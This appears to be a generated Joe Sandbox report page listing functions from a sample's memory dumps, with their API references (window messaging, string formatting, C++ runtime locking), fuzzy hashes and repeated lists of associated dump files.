Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: eb69cea1395b3dc8e2e4c0970c8aec0e7fefc4f02ddcdf3f58f85059a239d2cf
Instruction ID: aced7d61ed26f825c815b0439ffeb50abc7da77b55471f6678bb9b1c97cf37af
Opcode Fuzzy Hash: eb69cea1395b3dc8e2e4c0970c8aec0e7fefc4f02ddcdf3f58f85059a239d2cf
Instruction Fuzzy Hash: 4E418F72900609AFCF109F94CD86EAF7FB8FB1A754F10452AFA11D2261D3398D11CBA5

Function 0043AA80 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0043AB0D
wsprintfA.USER32 ref: 0043AB29

Strings

- [, xrefs: 0043AAA8
%d / %d], xrefs: 0043AB07
- , xrefs: 0043AB54
?? / %d], xrefs: 0043AB23

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: - $ - [$%d / %d]$?? / %d]
API String ID: 2111968516-3107364983
Opcode ID: b2fd2fdddd0c81c54902ab8a4b2bc1cfd98311b209de597a3c76fdc556734d44
Instruction ID: f555f714379181ece964b7a62862db19c7c9b2a989254c7c91b95b1d95f06c96
Opcode Fuzzy Hash: b2fd2fdddd0c81c54902ab8a4b2bc1cfd98311b209de597a3c76fdc556734d44
Instruction Fuzzy Hash: 8A31BD71208341AFC714EB25C891FABB7E4EB95714F008A1EF99A83290DB78E805CB57

Function 004AC6B8 Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AC6BD
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004AC70A
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004AC72C
GetCapture.USER32 ref: 004AC73E
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 004AC74D
WinHelpA.USER32(?,?,?,?), ref: 004AC761

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: 19549bbf1a55ea0d0631c170e8e097c30d14427b25d17018fa752123f9179a25
Instruction ID: c8ea795fda1a93e387e44c07ac2e7fcd00727c1ac333f6a760f256855ce08521
Opcode Fuzzy Hash: 19549bbf1a55ea0d0631c170e8e097c30d14427b25d17018fa752123f9179a25
Instruction Fuzzy Hash: 91219571640209BFEB21AF65CC86FBE7BA9EF55758F14452DF201971E2CB789C009B24

Function 004B1B8E Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 004B1BC1
GetLastActivePopup.USER32(?), ref: 004B1BD0
IsWindowEnabled.USER32(?), ref: 004B1BE5
EnableWindow.USER32(?,00000000), ref: 004B1BF8
GetWindowLongA.USER32(?,000000F0), ref: 004B1C0A
GetParent.USER32(?), ref: 004B1C18

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 85a0845341e1638011a9da896e2a322e8ba5a32e54241b9b12915cf28218688d
Instruction ID: 268b6bb45d80a39dc1eec35212306038cf72b8fc86c83f1748fa9ee1b1b46e26
Opcode Fuzzy Hash: 85a0845341e1638011a9da896e2a322e8ba5a32e54241b9b12915cf28218688d
Instruction Fuzzy Hash: 99118632745321578B315A694D64FAB7AAC9F55B92F95022BED00D3331EB28DC0152FD

Function 00578008 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0057800F
std::_Lockit::_Lockit.LIBCPMT ref: 00578019
int.LIBCPMT ref: 00578030

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0057806A
std::_Lockit::~_Lockit.LIBCPMT ref: 0057808A
__CxxThrowException@8.LIBVCRUNTIME ref: 005780A8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: b1832c5aaf878f1e57e0b0b9ee593ca94abee4c9b857898b387ccfbf5d8a9dfb
Instruction ID: 246cc5229f366999e25c8ca3e1ee6818b20d0edceae7148376d224cb254e925c
Opcode Fuzzy Hash: b1832c5aaf878f1e57e0b0b9ee593ca94abee4c9b857898b387ccfbf5d8a9dfb
Instruction Fuzzy Hash: 2A11A03594021A9BCF04EBA4E80DABD7F75BF84311F184519E404A72A2DF349E08D795

Function 005781FA Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00578201
std::_Lockit::_Lockit.LIBCPMT ref: 0057820B
int.LIBCPMT ref: 00578222

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0057825C
std::_Lockit::~_Lockit.LIBCPMT ref: 0057827C
__CxxThrowException@8.LIBVCRUNTIME ref: 0057829A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 4995054f9300d5bfe912145d3489ef7f482e5ee6176b4556d33aa118bce422a5
Instruction ID: 07f636a3a8f8178ddcd6c8726c77143b9ac90816c87ecedbb534fa492ca14cb0
Opcode Fuzzy Hash: 4995054f9300d5bfe912145d3489ef7f482e5ee6176b4556d33aa118bce422a5
Instruction Fuzzy Hash: 1A11C63594061A9BCF04EBA4E84DAFD7F75BFC4711F24411AE404672A2CF349E08DB95

Function 0056C265 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C26C
std::_Lockit::_Lockit.LIBCPMT ref: 0056C276
int.LIBCPMT ref: 0056C28D

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C2C7
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C2E7
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C305

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: f7f056547e70d1ed80b49f3d3fe5f0b9f7d5d4a73da5f7d4a0e5bdbeca5984b2
Instruction ID: 00a3f05ae4ab6762f1faae67dfcb6154b08780eb6ecae887acd56d26aba90065
Opcode Fuzzy Hash: f7f056547e70d1ed80b49f3d3fe5f0b9f7d5d4a73da5f7d4a0e5bdbeca5984b2
Instruction Fuzzy Hash: 7C11C23590021A9BCF04EBE4D859AFD7F75BFC4310F14011AE840B7292DF749A04CB95

Function 005782A0 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005782A7
std::_Lockit::_Lockit.LIBCPMT ref: 005782B1
int.LIBCPMT ref: 005782C8

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 00578302
std::_Lockit::~_Lockit.LIBCPMT ref: 00578322
__CxxThrowException@8.LIBVCRUNTIME ref: 00578340

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: c015382d93d7357b2f7df7314fc0a4efd190f10beb537a68aec54afd1f3de30c
Instruction ID: 1c903642ed2d6ac4e99fb5e86ace829e3a6008be9cb80dd45d292d59837c1383
Opcode Fuzzy Hash: c015382d93d7357b2f7df7314fc0a4efd190f10beb537a68aec54afd1f3de30c
Instruction Fuzzy Hash: E111E03580061A8BCF04EBA4EC0DABD7B79BF84711F144519E404A72A2CF349A04D795

Function 0056C30B Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C312
std::_Lockit::_Lockit.LIBCPMT ref: 0056C31C
int.LIBCPMT ref: 0056C333

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C36D
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C38D
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C3AB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: ebc9fe76aa8a9ea8db3f7e7296253f6e417274d3a759c31169e1ea687e2161f6
Instruction ID: f71213c4dff71e6baed5094d6c538537e7e6243e45aa6bce005d465b2902cdb5
Opcode Fuzzy Hash: ebc9fe76aa8a9ea8db3f7e7296253f6e417274d3a759c31169e1ea687e2161f6
Instruction Fuzzy Hash: 5411E53590021A9BCF05EBA4D849AFE7F75BFC4710F144A19F401A73A1DF349A04DB95

Function 0056C3B1 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C3B8
std::_Lockit::_Lockit.LIBCPMT ref: 0056C3C2
int.LIBCPMT ref: 0056C3D9

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C413
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C433
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C451

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: dca60ee97a6b62db7ea0b0a39c655454c1dfb349f9a16f60d571778d2c219d70
Instruction ID: 95ad5c68cd682dd8312064c833f13622c187f5ef252ff05e97b3dfc92249bac9
Opcode Fuzzy Hash: dca60ee97a6b62db7ea0b0a39c655454c1dfb349f9a16f60d571778d2c219d70
Instruction Fuzzy Hash: 3811E53590011A9BCF04EFA4D819AFE7F75FFC4311F14451AE404A7292DF349A04CB95

Function 0056C457 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C45E
std::_Lockit::_Lockit.LIBCPMT ref: 0056C468
int.LIBCPMT ref: 0056C47F

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C4B9
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C4D9
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C4F7

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 5b6aa254743bdc643d81c48ba096a47427772a16341fbcd0af260b5313f480c3
Instruction ID: 08b9f2a640563b0cf995aaa03f3b923b1b9df8e62adc23f03cf2f303321b8480
Opcode Fuzzy Hash: 5b6aa254743bdc643d81c48ba096a47427772a16341fbcd0af260b5313f480c3
Instruction Fuzzy Hash: 1C110E3190421A9BCF05EFA0D819AFE7F79BFC4312F144519F400AB2A2DF34AA04DB95

Function 00566423 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056642A
std::_Lockit::_Lockit.LIBCPMT ref: 00566434
int.LIBCPMT ref: 0056644B

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 00566485
std::_Lockit::~_Lockit.LIBCPMT ref: 005664A5
__CxxThrowException@8.LIBVCRUNTIME ref: 005664C3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 77a7519acb7c5e9da28dc48d16274998d1a7c32257ec65f1c45a6fcd7d141349
Instruction ID: 9e3d9e8c38d5372a7ba30a8afbfd99d38d4ac81da6a02d7d0a3502d2b02c213f
Opcode Fuzzy Hash: 77a7519acb7c5e9da28dc48d16274998d1a7c32257ec65f1c45a6fcd7d141349
Instruction Fuzzy Hash: 3D11E53590011A9BCF04EBA0D849AFE7F79BFC4711F144119E400A72A1CF389E04CB95

Function 005664C9 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005664D0
std::_Lockit::_Lockit.LIBCPMT ref: 005664DA
int.LIBCPMT ref: 005664F1

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056652B
std::_Lockit::~_Lockit.LIBCPMT ref: 0056654B
__CxxThrowException@8.LIBVCRUNTIME ref: 00566569

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
